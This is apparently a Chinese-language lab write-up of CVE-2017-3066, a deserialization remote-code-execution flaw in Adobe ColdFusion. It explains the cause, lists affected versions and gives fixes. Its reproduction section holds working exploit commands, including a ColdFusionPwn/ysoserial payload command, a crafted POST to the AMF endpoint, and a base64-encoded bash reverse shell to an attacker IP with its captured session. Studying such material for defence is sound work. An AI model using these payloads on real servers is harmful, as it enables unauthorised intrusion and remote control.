ColdFusion-CVE-2017-3066

1.漏洞简介

CVE-2017-3066 漏洞详解

CVE-2017-3066 是 Adobe ColdFusion 中的一个严重反序列化漏洞,攻击者可以通过构造恶意的 AMF(Action Message Format)请求,触发反序列化操作,从而在目标服务器上执行任意代码。以下是该漏洞的详细解析,包括漏洞原理、利用条件、影响版本及复现步骤。


1. 漏洞背景

Adobe ColdFusion 是一个动态 Web 服务器,支持 CFML(ColdFusion Markup Language)脚本语言,广泛用于构建 Web 应用程序。该漏洞的核心问题在于 ColdFusion 对 AMF 请求的反序列化处理存在缺陷,导致攻击者可以通过构造恶意请求实现远程代码执行(RCE)。


2. 漏洞原理

漏洞的核心在于 ColdFusion 的 AMF 反序列化机制

  1. AMF 协议

    • AMF 是一种用于客户端与服务器之间通信的二进制协议,常用于 Flash 和 Flex 应用程序。
    • ColdFusion 通过 /flex2gateway/amf 端点处理 AMF 请求。
  2. 反序列化漏洞

    • ColdFusion 在处理 AMF 请求时,未对反序列化的数据进行严格验证。
    • 攻击者可以通过构造恶意的 AMF 请求,利用 Java 反序列化漏洞执行任意代码。
  3. 利用链

    • 攻击者使用工具(如 ColdFusionPwnysoserial)生成恶意序列化对象(POC)。
    • 将 POC 通过 POST 请求发送到 /flex2gateway/amf 端点,触发反序列化漏洞。
    • 成功利用后,攻击者可以在目标服务器上执行任意命令。

3. 影响版本

  • 受影响版本
    • Adobe ColdFusion (2016 release) Update 3 及之前的版本
    • ColdFusion 11 Update 11 及之前的版本
    • ColdFusion 10 Update 22 及之前的版本。

4. 漏洞利用条件

  1. 目标系统

    • 运行受影响版本的 ColdFusion。
    • 目标系统未打补丁或未采取缓解措施。
  2. 攻击者权限

    • 攻击者需要能够访问 ColdFusion 的 /flex2gateway/amf 端点。
  3. 网络访问

    • 攻击者能够访问目标 ColdFusion 服务的端口(默认 8500)。

5. 漏洞复现

以下是漏洞复现的简要步骤:

环境搭建
  1. 使用 Vulhub 搭建漏洞环境:

    1
    2
    cd vulhub/coldfusion/CVE-2017-3066
    docker-compose up -d
  2. 访问 http://目标IP:8500/CFIDE/administrator/index.cfm,输入默认密码 vulhub 完成安装。

生成 POC
  1. 下载工具:

  2. 生成 POC:

    1
    java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser

    该命令会在当前目录下生成 poc.ser 文件。

发送恶意请求
  1. 使用 Burp Suite 构造 POST 请求:

    1
    2
    3
    4
    5
    POST /flex2gateway/amf HTTP/1.1
    Host: 目标IP:8500
    Content-Type: application/x-amf
    Content-Length: <长度>
    [POC 内容]
  2. poc.ser 文件内容粘贴到请求体中,发送请求。

验证漏洞
  1. 进入容器查看文件是否创建:

    1
    2
    docker exec -it <容器ID> /bin/bash
    ls /tmp

    如果发现 /tmp/success 文件,则漏洞利用成功。

反弹 Shell
  1. 生成反弹 Shell 的 POC:

    1
    java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'bash -c {echo,<Base64编码的命令>}|{base64,-d}|{bash,-i}' poc2.ser
  2. 发送请求并监听反弹 Shell:

    1
    nc -lvp <端口>

    成功获取反弹 Shell。


6. 修复建议

  1. 升级版本

    • 升级到 ColdFusion 的最新版本(2016 Update 4、11 Update 12 或 10 Update 23)。
  2. 禁用 AMF 端点

    • 如果不需要 AMF 功能,可以禁用 /flex2gateway/amf 端点。
  3. 访问控制

    • 限制 ColdFusion 的访问权限,避免暴露在公网。
    • 启用身份验证和授权机制,防止未授权访问。
  4. 监控和审计

    • 定期监控 ColdFusion 日志,检测异常访问行为。

7. 总结

CVE-2017-3066 是一个高危的反序列化漏洞,影响范围广泛,利用条件简单。建议用户尽快升级版本并采取安全加固措施,以避免潜在的安全风险。通过禁用不必要的功能、限制访问权限和实施安全策略,可以有效降低漏洞被利用的风险。

2.复现

image-20250306012931178

2.1.反序列化cb利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 序列化bc链
┌──(kali㉿kali)-[~/Desktop/workplace]
└─$ java -cp "ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-all.jar" com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjkvMTAwODYgMD4mMQ==}|{base64,-d}|{bash,-i}' pocexc3.ser
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

┌──(kali㉿kali)-[~/Desktop/workplace]
└─$ echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjkvMTAwODYgMD4mMQ==" | base64 -d
bash -i >& /dev/tcp/192.168.100.129/10086 0>&1
# 获取到反弹shell
┌──(kali㉿kali)-[~/Desktop/workplace]
└─$ nc -lvnp 10086
listening on [any] 10086 ...
connect to [192.168.100.129] from (UNKNOWN) [192.168.100.137] 39388
bash: cannot set terminal process group (72): Inappropriate ioctl for device
bash: no job control in this shell
coldfusion@57ccaef2396f:/opt/coldfusion11/cfusion/bin$

  • 将序列后的二进制文件通过bp发送过去

image-20250306012750689